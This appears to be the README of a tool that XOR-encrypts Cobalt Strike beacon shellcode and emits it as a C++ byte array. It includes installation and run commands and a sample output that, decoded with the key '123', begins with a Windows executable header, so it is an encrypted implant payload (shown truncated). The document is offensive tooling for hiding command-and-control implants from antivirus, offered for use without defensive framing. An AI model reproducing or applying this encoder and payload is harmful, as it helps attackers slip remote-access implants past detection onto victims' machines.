Shellcode Encoder (XOR) for Cobalt Strike RAW Files

Shellcode Generation Aggressor Script

What it Does:

XOR's the .RAW or .BIN with a key
Formats Output for C++

Recommondation - Pipe Output Into File (Large Output)

sudo apt update
sudo apt install python-pip
pip2 install -r requirements.txt
python2.7 encode-CS-shellcode.py beacon-test.raw 123 > test.txt

Output

char key[] = "123";
char encryptedShellcode[] = 

    "\x7c\x68\x72\x63\x67\x7b\xb8\xd7\x7b\xb0\xde\x13\x31\x32\x33\x79"
    "\xbf\x2e\xdb\xcd\xcc\xce\x7a\xba\xee\x7a\xb2\xf2\xfe\x53\x30\x32"
    "\xcc\xe2\x73\x8b\xc1\x87\x91\x67\x5a\x37\x31\x32\x33\x6b\x7a\xba"
    "\xc8\xcd\xe3\x31\x32\x33\x31\x32\x33\x31\x32\x33\xc9\x32\x33\x31"
    "\x3c\x2c\x8b\x3c\x33\x85\x3b\xfe\x10\x8a\x32\x7d\xff\x12\x65\x5a"
    "\x5a\x42\x12\x43\x43\x5d\x54\x43\x53\x5e\x11\x51\x52\x5f\x5c\x5c"
    "\x45\x12\x51\x54\x12\x41\x44\x5c\x13\x58\x5c\x13\x75\x7d\x60\x11"

...

    "\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33"
    "\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31"
    "\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32"
    "\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33"
    "\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31"
    "\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32"
    "\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33"
    "\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31"
    "\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32"
    "\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33"
    "\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31"
    "\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32\x33\x31\x32";